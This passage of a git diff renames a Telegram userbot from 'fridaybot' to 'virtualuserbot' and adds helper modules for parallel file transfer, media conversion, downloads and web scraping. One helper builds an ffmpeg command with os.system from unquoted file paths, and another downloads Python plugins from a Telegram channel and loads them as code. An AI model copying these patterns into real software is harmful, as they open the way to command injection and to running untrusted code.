LINE IF YOU DO NOT KNOW WHAT YOU ARE DOING # TG API limit. A message can have maximum 4096 characters! MAX_MESSAGE_SIZE_LIMIT = 4095 - # set blacklist_chats where you do not want fridaybot's features + # set blacklist_chats where you do not want virtualuserbot's features UB_BLACK_LIST_CHAT = set( int(x) for x in os.environ.get("UB_BLACK_LIST_CHAT", "").split() ) @@ -134,23 +138,38 @@ class Config(object): MONGO_URI = os.environ.get("MONGO_URI", None) # Lydia API LYDIA_API = os.environ.get("LYDIA_API", None) + PRIVATE_GROUP_ID = int(os.environ.get("PRIVATE_GROUP_ID", False)) PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False)) + SUB_TO_MSG_ASSISTANT = os.environ.get("SUB_TO_MSG_ASSISTANT", False) NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False)) + FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") + DEEP_AI = os.environ.get("DEEP_AI", None) + TAG_LOG = os.environ.get("TAG_LOG", None) + DEEZER_ARL_TOKEN = os.environ.get("DEEZER_ARL_TOKEN", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") + EMOJI_TO_DISPLAY_IN_HELP = os.environ.get("EMOJI_TO_DISPLAY_IN_HELP", "🔥") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") + JTM_CHANNEL_ID = int(os.environ.get("JTM_CHANNEL_ID", False)) + JTM_CHANNEL_USERNAME = os.environ.get("JTM_CHANNEL_USERNAME", None) ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE") ASSISTANT_LOG = int(os.environ.get("ASSISTANT_LOG", False)) + OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None) + SUPERHERO_API_KEY = os.environ.get("SUPERHERO_API_KEY", None) + FOOTBALL_API_KEY = os.environ.get("FOOTBALL_API_KEY", None) + VIRUSTOTAL_API_KEY = os.environ.get("VIRUSTOTAL_API_KEY", None) + GPLINKS_API_KEY = os.environ.get("GPLINKS_API_KEY", None) + OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None) UPSTREAM_REPO = os.environ.get( - "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" + "UPSTREAM_REPO", "https://github.com/inukaasith/virtualuserbot" ) ALIVE_IMAGE = os.environ.get( - "ALIVE_IMAGE", "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" + "ALIVE_IMAGE", "https://telegra.ph/file/4e1364fb18f899ad47dec.png" ) ASSISTANT_START_PIC = os.environ.get( "ASSISTANT_START_PIC", - "https://www.logolynx.com/images/logolynx/72/7257d2ac93b97c8a2c7308266052df13.png", + "https://telegra.ph/file/4e1364fb18f899ad47dec.png", ) TESSDATA_PREFIX = os.environ.get( "TESSDATA_PREFIX", "/usr/share/tesseract-ocr/4.00/tessdata" diff --git a/fridaybot/__init__.py b/virtualuserbot/__init__.py similarity index 95% rename from fridaybot/__init__.py rename to virtualuserbot/__init__.py index d94fc616..a2552ff3 100644 --- a/fridaybot/__init__.py +++ b/virtualuserbot/__init__.py @@ -8,8 +8,8 @@ import pylast import wget -from antispaminc.connect import Connect from dotenv import load_dotenv +from nospamplus.connect import Connect from pylast import LastFMNetwork, md5 from pySmartDL import SmartDL from requests import get @@ -19,13 +19,6 @@ from var import Var -from .Configs import Config -from .function import fridayfunction as topfunc - -Lastupdate = time.time() -sedprint = logging.getLogger("WARNING") -from var import Var - if Var.STRING_SESSION: session_name = str(Var.STRING_SESSION) bot = TelegramClient(StringSession(session_name), Var.APP_ID, Var.API_HASH) @@ -34,6 +27,12 @@ bot = TelegramClient(session_name, Var.APP_ID, Var.API_HASH) +from .Configs import Config + +Lastupdate = time.time() +sedprint = logging.getLogger("WARNING") +from var import Var + CMD_LIST = {} CMD_HELP = {} INT_PLUG = "" @@ -121,7 +120,8 @@ # Default .alive name ALIVE_NAME = os.environ.get("ALIVE_NAME", None) - + lang = os.environ.get("lang", "si") + pro = os.environ.get("pro", False) LESS_SPAMMY = os.environ.get("LESS_SPAMMY", True) # Time & Date - Country and Time Zone @@ -189,12 +189,12 @@ except: sedprint.info("I Wasn't Able To Download Cafee Model. Skipping") -if Config.ANTI_SPAMINC_TOKEN == None: +if Config.NOSPAMPLUS_TOKEN == None: sclient = None - sedprint.info("[Warning] - AntispamInc is None") + sedprint.info("[Warning] - NoSpamPlusToken is None") else: try: - sclient = Connect(Config.ANTI_SPAMINC_TOKEN) + sclient = Connect(Config.NOSPAMPLUS_TOKEN) except Exception as e: sclient = None sedprint.info("[Warning] - " + str(e)) diff --git a/fridaybot/__main__.py b/virtualuserbot/__main__.py similarity index 71% rename from fridaybot/__main__.py rename to virtualuserbot/__main__.py index d65bd33b..dd3eb53c 100644 --- a/fridaybot/__main__.py +++ b/virtualuserbot/__main__.py @@ -5,12 +5,12 @@ import telethon.utils from telethon import TelegramClient -from fridaybot import bot -from fridaybot.Configs import Config -from fridaybot.utils import load_module, start_assistant from var import Var +from virtualuserbot import bot +from virtualuserbot.Configs import Config +from virtualuserbot.utils import load_module, start_assistant -sed = logging.getLogger("Friday") +sed = logging.getLogger("VirtualUserbot") async def add_bot(bot_token): @@ -34,7 +34,7 @@ async def add_bot(bot_token): import glob -path = "fridaybot/modules/*.py" +path = "virtualuserbot/modules/*.py" files = glob.glob(path) for name in files: with open(name) as f: @@ -43,17 +43,17 @@ async def add_bot(bot_token): load_module(shortname.replace(".py", "")) if Config.ENABLE_ASSISTANTBOT == "ENABLE": - path = "fridaybot/modules/assistant/*.py" + path = "virtualuserbot/modules/assistant/*.py" files = glob.glob(path) for name in files: with open(name) as f: path1 = Path(f.name) shortname = path1.stem start_assistant(shortname.replace(".py", "")) - sed.info("Friday And Assistant Bot Have Been Installed Successfully !") + sed.info("VirtualUserbot And Assistant Bot Have Been Installed Successfully !") else: - sed.info("Friday Has Been Installed Sucessfully !") - sed.info("You Can Visit @FridayOT For Any Support Or Doubts") + sed.info("VirtualUserbot Has Been Installed Sucessfully !") + sed.info("You Can Visit @InfinityJE For Any Support Or Doubts") if len(argv) not in (1, 3, 4): bot.disconnect() diff --git a/fridaybot/events.py b/virtualuserbot/events.py similarity index 94% rename from fridaybot/events.py rename to virtualuserbot/events.py index 8c0d1199..2d15b33d 100644 --- a/fridaybot/events.py +++ b/virtualuserbot/events.py @@ -4,7 +4,7 @@ # you may not use this file except in compliance with the License. # """ Userbot module for managing events. - One of the main components of the fridaybot. """ + One of the main components of the virtualuserbot. """ import sys from asyncio import create_subprocess_shell as asyncsubshell @@ -15,11 +15,11 @@ from telethon import events -from fridaybot import LOGSPAMMER, PRIVATE_GROUP_ID, bot +from virtualuserbot import LOGSPAMMER, PRIVATE_GROUP_ID, bot def register(**args): - """ Register a new event. """ + """Register a new event.""" pattern = args.get("pattern", None) disable_edited = args.get("disable_edited", False) ignore_unsafe = args.get("ignore_unsafe", False) @@ -128,8 +128,8 @@ async def wrapper(check): if LOGSPAMMER: await check.client.respond( - "`Sorry, my fridaybot has crashed.\ - \nThe error logs are stored in the fridaybot's log chat.`" + "`Sorry, my virtualuserbot has crashed.\ + \nThe error logs are stored in the virtualuserbot's log chat.`" ) await check.client.send_file(send_to, "error.log", caption=text) diff --git a/virtualuserbot/function/FastTelethon.py b/virtualuserbot/function/FastTelethon.py new file mode 100644 index 00000000..8b08b529 --- /dev/null +++ b/virtualuserbot/function/FastTelethon.py @@ -0,0 +1,405 @@ +""" +> Based on parallel_file_transfer.py from mautrix-telegram, with permission to distribute under the MIT license +> Copyright (C) 2019 Tulir Asokan - https://github.com/tulir/mautrix-telegram +""" +import asyncio +import hashlib +import inspect +import logging +import math +import os +from collections import defaultdict +from typing import ( + AsyncGenerator, + Awaitable, + BinaryIO, + DefaultDict, + List, + Optional, + Tuple, + Union, +) + +from telethon import TelegramClient, helpers, utils +from telethon.crypto import AuthKey +from telethon.network import MTProtoSender +from telethon.tl.functions.auth import ( + ExportAuthorizationRequest, + ImportAuthorizationRequest, +) +from telethon.tl.functions.upload import ( + GetFileRequest, + SaveBigFilePartRequest, + SaveFilePartRequest, +) +from telethon.tl.types import ( + Document, + InputDocumentFileLocation, + InputFile, + InputFileBig, + InputFileLocation, + InputPeerPhotoFileLocation, + InputPhotoFileLocation, + TypeInputFile, +) + +TypeLocation = Union[ + Document, + InputDocumentFileLocation, + InputPeerPhotoFileLocation, + InputFileLocation, + InputPhotoFileLocation, +] + +logger = logging.getLogger(__name__) + + +def stream_file(file_to_stream: BinaryIO, chunk_size=1024): + while True: + data_read = file_to_stream.read(chunk_size) + if not data_read: + break + yield data_read + + +class DownloadSender: + sender: MTProtoSender + request: GetFileRequest + remaining: int + stride: int + + def __init__( + self, + sender: MTProtoSender, + file: TypeLocation, + offset: int, + limit: int, + stride: int, + count: int, + ) -> None: + self.sender = sender + self.request = GetFileRequest(file, offset=offset, limit=limit) + self.stride = stride + self.remaining = count + + async def next(self) -> Optional[bytes]: + if not self.remaining: + return None + result = await self.sender.send(self.request) + self.remaining -= 1 + self.request.offset += self.stride + return result.bytes + + def disconnect(self) -> Awaitable[None]: + return self.sender.disconnect() + + +class UploadSender: + sender: MTProtoSender + request: Union[SaveFilePartRequest, SaveBigFilePartRequest] + part_count: int + stride: int + previous: Optional[asyncio.Task] + loop: asyncio.AbstractEventLoop + + def __init__( + self, + sender: MTProtoSender, + file_id: int, + part_count: int, + big: bool, + index: int, + stride: int, + loop: asyncio.AbstractEventLoop, + ) -> None: + self.sender = sender + self.part_count = part_count + if big: + self.request = SaveBigFilePartRequest(file_id, index, part_count, b"") + else: + self.request = SaveFilePartRequest(file_id, index, b"") + self.stride = stride + self.previous = None + self.loop = loop + + async def next(self, data: bytes) -> None: + if self.previous: + await self.previous + self.previous = self.loop.create_task(self._next(data)) + + async def _next(self, data: bytes) -> None: + self.request.bytes = data + logger.debug( + f"Sending file part {self.request.file_part}/{self.part_count}" + f" with {len(data)} bytes" + ) + await self.sender.send(self.request) + self.request.file_part += self.stride + + async def disconnect(self) -> None: + if self.previous: + await self.previous + return await self.sender.disconnect() + + +class ParallelTransferrer: + client: TelegramClient + loop: asyncio.AbstractEventLoop + dc_id: int + senders: Optional[List[Union[DownloadSender, UploadSender]]] + auth_key: AuthKey + upload_ticker: int + + def __init__(self, client: TelegramClient, dc_id: Optional[int] = None) -> None: + self.client = client + self.loop = self.client.loop + self.dc_id = dc_id or self.client.session.dc_id + self.auth_key = ( + None + if dc_id and self.client.session.dc_id != dc_id + else self.client.session.auth_key + ) + self.senders = None + self.upload_ticker = 0 + + async def _cleanup(self) -> None: + await asyncio.gather(*[sender.disconnect() for sender in self.senders]) + self.senders = None + + @staticmethod + def _get_connection_count( + file_size: int, max_count: int = 20, full_size: int = 100 * 1024 * 1024 + ) -> int: + if file_size > full_size: + return max_count + return math.ceil((file_size / full_size) * max_count) + + async def _init_download( + self, connections: int, file: TypeLocation, part_count: int, part_size: int + ) -> None: + minimum, remainder = divmod(part_count, connections) + + def get_part_count() -> int: + nonlocal remainder + if remainder > 0: + remainder -= 1 + return minimum + 1 + return minimum + + # The first cross-DC sender will export+import the authorization, so we always create it + # before creating any other senders. + self.senders = [ + await self._create_download_sender( + file, 0, part_size, connections * part_size, get_part_count() + ), + *await asyncio.gather( + *[ + self._create_download_sender( + file, i, part_size, connections * part_size, get_part_count() + ) + for i in range(1, connections) + ] + ), + ] + + async def _create_download_sender( + self, + file: TypeLocation, + index: int, + part_size: int, + stride: int, + part_count: int, + ) -> DownloadSender: + return DownloadSender( + await self._create_sender(), + file, + index * part_size, + part_size, + stride, + part_count, + ) + + async def _init_upload( + self, connections: int, file_id: int, part_count: int, big: bool + ) -> None: + self.senders = [ + await self._create_upload_sender(file_id, part_count, big, 0, connections), + *await asyncio.gather( + *[ + self._create_upload_sender(file_id, part_count, big, i, connections) + for i in range(1, connections) + ] + ), + ] + + async def _create_upload_sender( + self, file_id: int, part_count: int, big: bool, index: int, stride: int + ) -> UploadSender: + return UploadSender( + await self._create_sender(), + file_id, + part_count, + big, + index, + stride, + loop=self.loop, + ) + + async def _create_sender(self) -> MTProtoSender: + dc = await self.client._get_dc(self.dc_id) + sender = MTProtoSender(self.auth_key, loggers=self.client._log) + await sender.connect( + self.client._connection( + dc.ip_address, + dc.port, + dc.id, + loggers=self.client._log, + proxy=self.client._proxy, + ) + ) + if not self.auth_key: + logger.debug(f"Exporting auth to DC {self.dc_id}") + auth = await self.client(ExportAuthorizationRequest(self.dc_id)) + req = self.client._init_with( + ImportAuthorizationRequest(id=auth.id, bytes=auth.bytes) + ) + await sender.send(req) + self.auth_key = sender.auth_key + return sender + + async def init_upload( + self, + file_id: int, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> Tuple[int, int, bool]: + connection_count = connection_count or self._get_connection_count(file_size) + logger.debug(f"init_upload count is {connection_count}") + part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 + part_count = (file_size + part_size - 1) // part_size + is_large = file_size > 10 * 1024 * 1024 + await self._init_upload(connection_count, file_id, part_count, is_large) + return part_size, part_count, is_large + + async def upload(self, part: bytes) -> None: + await self.senders[self.upload_ticker].next(part) + self.upload_ticker = (self.upload_ticker + 1) % len(self.senders) + + async def finish_upload(self) -> None: + await self._cleanup() + + async def download( + self, + file: TypeLocation, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> AsyncGenerator[bytes, None]: + connection_count = connection_count or self._get_connection_count(file_size) + + part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 + part_count = math.ceil(file_size / part_size) + logger.debug( + "Starting parallel download: " + f"{connection_count} {part_size} {part_count} {file!s}" + ) + await self._init_download(connection_count, file, part_count, part_size) + + part = 0 + while part < part_count: + tasks = [] + for sender in self.senders: + tasks.append(self.loop.create_task(sender.next())) + for task in tasks: + data = await task + if not data: + break + yield data + part += 1 + logger.debug(f"Part {part} downloaded") + + logger.debug("Parallel download finished, cleaning up connections") + await self._cleanup() + + +parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict( + lambda: asyncio.Lock() +) + + +async def _internal_transfer_to_telegram( + client: TelegramClient, + response: BinaryIO, + progress_callback: callable, + file_name: str, +) -> Tuple[TypeInputFile, int]: + file_id = helpers.generate_random_long() + file_size = os.path.getsize(response.name) + + hash_md5 = hashlib.md5() + uploader = ParallelTransferrer(client) + part_size, part_count, is_large = await uploader.init_upload(file_id, file_size) + buffer = bytearray() + for data in stream_file(response): + if progress_callback: + r = progress_callback(response.tell(), file_size) + if inspect.isawaitable(r): + await r + if not is_large: + hash_md5.update(data) + if len(buffer) == 0 and len(data) == part_size: + await uploader.upload(data) + continue + new_len = len(buffer) + len(data) + if new_len >= part_size: + cutoff = part_size - len(buffer) + buffer.extend(data[:cutoff]) + await uploader.upload(bytes(buffer)) + buffer.clear() + buffer.extend(data[cutoff:]) + else: + buffer.extend(data) + if len(buffer) > 0: + await uploader.upload(bytes(buffer)) + await uploader.finish_upload() + if is_large: + return InputFileBig(file_id, part_count, file_name), file_size + else: + return ( + InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), + file_size, + ) + + +async def download_file( + client: TelegramClient, + location: TypeLocation, + out: BinaryIO, + progress_callback: callable = None, +) -> BinaryIO: + size = location.size + dc_id, location = utils.get_input_location(location) + # We lock the transfers because telegram has connection count limits + downloader = ParallelTransferrer(client, dc_id) + downloaded = downloader.download(location, size) + async for x in downloaded: + out.write(x) + if progress_callback: + r = progress_callback(out.tell(), size) + if inspect.isawaitable(r): + await r + + return out + + +async def upload_file( + client: TelegramClient, + file: BinaryIO, + file_name: str, + progress_callback: callable = None, +) -> TypeInputFile: + res = ( + await _internal_transfer_to_telegram(client, file, progress_callback, file_name) + )[0] + return res diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py new file mode 100644 index 00000000..3268a65a --- /dev/null +++ b/virtualuserbot/function/__init__.py @@ -0,0 +1,662 @@ +import asyncio +import json +import math +import os +import re +import shlex +import subprocess +import time +import webbrowser +from os.path import basename +from pathlib import Path +from typing import List, Optional, Tuple, Union + +import hachoir +import requests +import telethon +from bs4 import BeautifulSoup +from bs4 import BeautifulSoup as bs +from hachoir.metadata import extractMetadata +from hachoir.parser import createParser +from pymediainfo import MediaInfo +from telethon import Button, custom, events, functions +from telethon.tl.types import ( + DocumentAttributeAudio, + InputMessagesFilterDocument, + MessageMediaPhoto, +) +from youtube_dl import YoutubeDL +from youtube_dl.utils import ( + ContentTooShortError, + DownloadError, + ExtractorError, + GeoRestrictedError, + MaxDownloadsReached, + PostProcessingError, + UnavailableVideoError, + XAttrMetadataError, +) + +from virtualuserbot.utils import load_module + +SIZE_UNITS = ["B", "KB", "MB", "GB", "TB", "PB"] +BASE_URL = "https://isubtitles.org" +import os +import zipfile + +import aiohttp + +from virtualuserbot.Configs import Config + +sedpath = Config.TMP_DOWNLOAD_DIRECTORY +from virtualuserbot import logging + +logger = logging.getLogger("[--WARNING--]") +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + +# Deethon // @aykxt +session = aiohttp.ClientSession() + + +async def fetch_json(link): + async with session.get(link) as resp: + return await resp.json() + + +def get_readable_file_size(size_in_bytes: Union[int, float]) -> str: + if size_in_bytes is None: + return "0B" + index = 0 + while size_in_bytes >= 1024: + size_in_bytes /= 1024 + index += 1 + try: + return f"{round(size_in_bytes, 2)}{SIZE_UNITS[index]}" + except IndexError: + return "File too large" + + +def get_readable_time(secs: float) -> str: + result = "" + (days, remainder) = divmod(secs, 86400) + days = int(days) + if days != 0: + result += f"{days}d" + (hours, remainder) = divmod(remainder, 3600) + hours = int(hours) + if hours != 0: + result += f"{hours}h" + (minutes, seconds) = divmod(remainder, 60) + minutes = int(minutes) + if minutes != 0: + result += f"{minutes}m" + seconds = int(seconds) + result += f"{seconds}s" + return result + + +# Thanks To Userge-X +async def runcmd(cmd: str) -> Tuple[str, str, int, int]: + """run command in terminal""" + args = shlex.split(cmd) + process = await asyncio.create_subprocess_exec( + *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await process.communicate() + return ( + stdout.decode("utf-8", "replace").strip(), + stderr.decode("utf-8", "replace").strip(), + process.returncode, + process.pid, + ) + + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current != total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "[{0}{1}] {2}%\n".format( + "".join(["■" for i in range(math.floor(percentage / 5))]), + "".join(["▢" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) + if file_name: + await event.edit( + "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) + ) + else: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +async def get_all_modules(event, borg, channel_id): + await event.edit(f"Ìnstalling All Plugins from {channel_id}") + try: + a_plugins = await borg.get_messages( + entity=channel_id, + filter=InputMessagesFilterDocument, + limit=None, + search=".py", + ) + except: + await event.edit( + "`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`" + ) + return + yesm = 0 + nom = 0 + len_p = int(a_plugins.total) + if len_p == 0: + await event.edit("**No PLugins Found To Load !**") + return + await event.edit(f"**Found : {len_p} Plugins. Trying To Install**") + for sed in a_plugins: + try: + downloaded_file_name = await borg.download_media( + sed, "virtualuserbot/modules/" + ) + if "(" not in downloaded_file_name: + path1 = Path(downloaded_file_name) + shortname = path1.stem + load_module(shortname.replace(".py", "")) + await event.edit( + "**Installed :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) + else: + nom += 1 + await event.edit( + "**Failed to Install [PLugin Already Found] :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) + os.remove(downloaded_file_name) + except: + await event.edit( + "**Failed To Install :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) + os.remove(downloaded_file_name) + nom += 1 + yesm = len_p - nom + return yesm, nom, len_p + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) + return tmp[:-2] + + +# Thanks To Userge-X +# Ported By @STARKXD +async def convert_to_image(event, borg): + lmao = await event.get_reply_message() + if not ( + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker + or lmao.media + ): + await event.edit("`Format Not Supported.`") + return + else: + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + lmao.media, + sedpath, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "`Downloading...`") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await event.edit(str(e)) + else: + await event.edit( + "Downloaded to `{}` successfully.".format(downloaded_file_name) + ) + if not os.path.exists(downloaded_file_name): + await event.edit("Download Unsucessfull :(") + return + if lmao and lmao.photo: + lmao_final = downloaded_file_name + elif lmao.sticker and lmao.sticker.mime_type == "application/x-tgsticker": + rpath = downloaded_file_name + image_name20 = os.path.join(sedpath, "SED.png") + cmd = f"lottie_convert.py --frame 0 -if lottie -of png {downloaded_file_name} {image_name20}" + stdout, stderr = (await runcmd(cmd))[:2] + os.remove(rpath) + lmao_final = image_name20 + elif lmao.sticker and lmao.sticker.mime_type == "image/webp": + pathofsticker2 = downloaded_file_name + image_new_path = sedpath + "image.png" + os.rename(pathofsticker2, image_new_path) + if not os.path.exists(image_new_path): + await event.edit("`Wasn't Able To Fetch Shot.`") + return + lmao_final = image_new_path + elif lmao.audio: + sed_p = downloaded_file_name + hmmyes = sedpath + "stark.mp3" + imgpath = sedpath + "starky.jpg" + os.rename(sed_p, hmmyes) + await runcmd(f"ffmpeg -i {hmmyes} -filter:v scale=500:500 -an {imgpath}") + os.remove(sed_p) + if not os.path.exists(imgpath): + await event.edit("`Wasn't Able To Fetch Shot.`") + return + lmao_final = imgpath + elif lmao.gif or lmao.video or lmao.video_note: + sed_p2 = downloaded_file_name + jpg_file = os.path.join(sedpath, "image.jpg") + await take_screen_shot(sed_p2, 0, jpg_file) + os.remove(sed_p2) + if not os.path.exists(jpg_file): + await event.edit("`Couldn't Fetch. SS`") + return + lmao_final = jpg_file + await event.edit("`Almost Completed.`") + return lmao_final + + +# Thanks To Userge-X +async def crop_vid(input_vid: str, final_path: str): + media_info = MediaInfo.parse(input_vid) + for track in media_info.tracks: + if track.track_type == "Video": + aspect_ratio = track.display_aspect_ratio + height = track.height + width = track.width + if aspect_ratio != 1: + crop_by = width if (height > width) else height + os.system(f'ffmpeg -i {input_vid} -vf "crop={crop_by}:{crop_by}" {final_path}') + os.remove(input_vid) + else: + os.rename(input_vid, final_path) + + +# Thanks To Userge-X +async def take_screen_shot( + video_file: str, duration: int, path: str = "" +) -> Optional[str]: + """take a screenshot""" + logger.info( + "[[[Extracting a frame from %s ||| Video duration => %s]]]", + video_file, + duration, + ) + ttl = duration // 2 + thumb_image_path = path or os.path.join(sedpath, f"{basename(video_file)}.jpg") + command = f'''ffmpeg -ss {ttl} -i "{video_file}" -vframes 1 "{thumb_image_path}"''' + err = (await runcmd(command))[1] + if err: + logger.error(err) + return thumb_image_path if os.path.exists(thumb_image_path) else None + + +# Thanks To @HeisenbergTheDanger, @xditya +async def fetch_feds(event, borg): + fedList = [] + await event.edit("`Fetching Your FeD List`, This May Take A While.") + reply_s = await event.get_reply_message() + if reply_s and reply_s.media: + downloaded_file_name = await borg.download_media(reply_s.media, "fedlist.txt") + await asyncio.sleep(1) + file = open(downloaded_file_name, "r") + lines = file.readlines() + for line in lines: + try: + fedList.append(line[:36]) + except: + pass + # CleanUp + os.remove(downloaded_file_name) + return fedList + async with borg.conversation("@MissRose_bot") as bot_conv: + await bot_conv.send_message("/start") + await bot_conv.send_message("/myfeds") + await asyncio.sleep(3) + response = await bot_conv.get_response(timeout=300) + await asyncio.sleep(3) + if "You can only use fed commands once every 5 minutes" in response.text: + await event.edit("`Try again after 5 mins.`") + return + elif "make a file" in response.text: + await event.edit( + "`Boss, You Real Peru. You Are Admin in So Many Feds. WoW!`" + ) + await asyncio.sleep(2) + await response.click(0) + await asyncio.sleep(6) + fedfile = await bot_conv.get_response() + await asyncio.sleep(2) + if fedfile.media: + downloaded_file_name = await borg.download_media(fedfile, "fedlist.txt") + await asyncio.sleep(1) + file = open(downloaded_file_name, "r") + lines = file.readlines() + for line in lines: + try: + fedList.append(line[:36]) + except BaseException: + pass + # CleanUp + os.remove(downloaded_file_name) + else: + In = False + tempFedId = "" + for x in response.text: + if x == "`": + if In: + In = False + fedList.append(tempFedId) + tempFedId = "" + else: + In = True + + elif In: + tempFedId += x + await event.edit("`FeD List Fetched SucessFully.`") + return fedList + + +async def get_imdb_id(search, event): + link = "https://yts-subs.com/search/ajax?mov=" + search + lol = requests.get(link) + warner_bros = lol.json() + if warner_bros == []: + await event.edit("`No Results Found.`") + warner_media = None + warner_s = None + else: + warner_media = warner_bros[0]["mv_mainTitle"] + warner_s = warner_bros[0]["mv_imdbCode"] + return warner_media, warner_s + + +async def get_subtitles(imdb_id, borg, event): + await event.edit("`Processing..`") + link = f"https://yts-subs.com/movie-imdb/" + imdb_id + movie_response = requests.get(url=link) + subtitles = [] + soup1 = BeautifulSoup(movie_response.content, "html.parser") + rows = soup1.find_all("tr", class_="high-rating") + for row in rows: + td = row.find("td", class_="flag-cell") + lang = td.find("span", class_="sub-lang").text + if lang == "English": + sub_link_tag = row.find("td", class_="download-cell") + sub_link = sub_link_tag.find("a", class_="subtitle-download").get("href") + sub_link = f"https://yts-subs.com/{sub_link}" + sub_name_tag = row.find("td", class_=None) + sub_name = ( + str(sub_name_tag.find("a").text) + .replace("subtitle", "") + .replace("\n", "") + ) + sub = (sub_name, sub_link) + subtitles.append(sub) + await event.edit("`Almost Done.`") + sub_response = requests.get(url=subtitles[0]["sub_link"]) + selected_sub_name = subtitles[0]["sub_name"] + soup2 = BeautifulSoup(sub_response.content, "html.parser") + link = soup2.find("a", class_="btn-icon download-subtitle").get("href") + final_response = requests.get(link, stream=True) + await event.edit("`Downloading Now`") + if final_response.status_code == 200: + with open(sedpath + f"{selected_sub_name}.zip", "wb") as sfile: + for byte in final_response.iter_content(chunk_size=128): + sfile.write(byte) + final_paths = sedpath + f"{selected_sub_name}.zip" + namez = selected_sub_name + return final_paths, namez, subtitles[0]["sub_link"] + + +# Thanks To TechoAryan For Scarpping +async def apk_dl(app_name, path, event): + await event.edit( + "`Searching, For Apk File. This May Take Time Depending On Your App Size`" + ) + res = requests.get(f"https://m.apkpure.com/search?q={app_name}") + soup = BeautifulSoup(res.text, "html.parser") + result = soup.select(".dd") + for link in result[:1]: + s_for_name = requests.get("https://m.apkpure.com" + link.get("href")) + sfn = BeautifulSoup(s_for_name.text, "html.parser") + ttl = sfn.select_one("title").text + noneed = [" - APK Download"] + for i in noneed: + name = ttl.replace(i, "") + res2 = requests.get( + "https://m.apkpure.com" + link.get("href") + "/download?from=details" + ) + soup2 = BeautifulSoup(res2.text, "html.parser") + result = soup2.select(".ga") + for link in result: + dl_link = link.get("href") + r = requests.get(dl_link) + with open(f"{path}/{name}@VirtualUserbot.apk", "wb") as f: + f.write(r.content) + await event.edit("`Apk, Downloaded. Let me Upload It here.`") + final_path = f"{path}/{name}@VirtualUserbot.apk" + return final_path, name + + +async def check_if_subbed(channel_id, event, bot): + try: + result = await bot( + functions.channels.GetParticipantRequest( + channel=channel_id, user_id=event.sender_id + ) + ) + if result.participant: + return True + except telethon.errors.rpcerrorlist.UserNotParticipantError: + return False + + +async def _ytdl(url, is_it, event, tgbot): + await event.edit( + "`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**" + ) + if is_it: + opts = { + "format": "bestaudio", + "addmetadata": True, + "key": "FFmpegMetadata", + "writethumbnail": True, + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + { + "key": "FFmpegExtractAudio", + "preferredcodec": "mp3", + "preferredquality": "480", + } + ], + "outtmpl": "%(id)s.mp3", + "quiet": True, + "logtostderr": False, + } + video = False + song = True + else: + opts = { + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} + ], + "outtmpl": "%(id)s.mp4", + "logtostderr": False, + "quiet": True, + } + song = False + video = True + try: + with YoutubeDL(opts) as ytdl: + 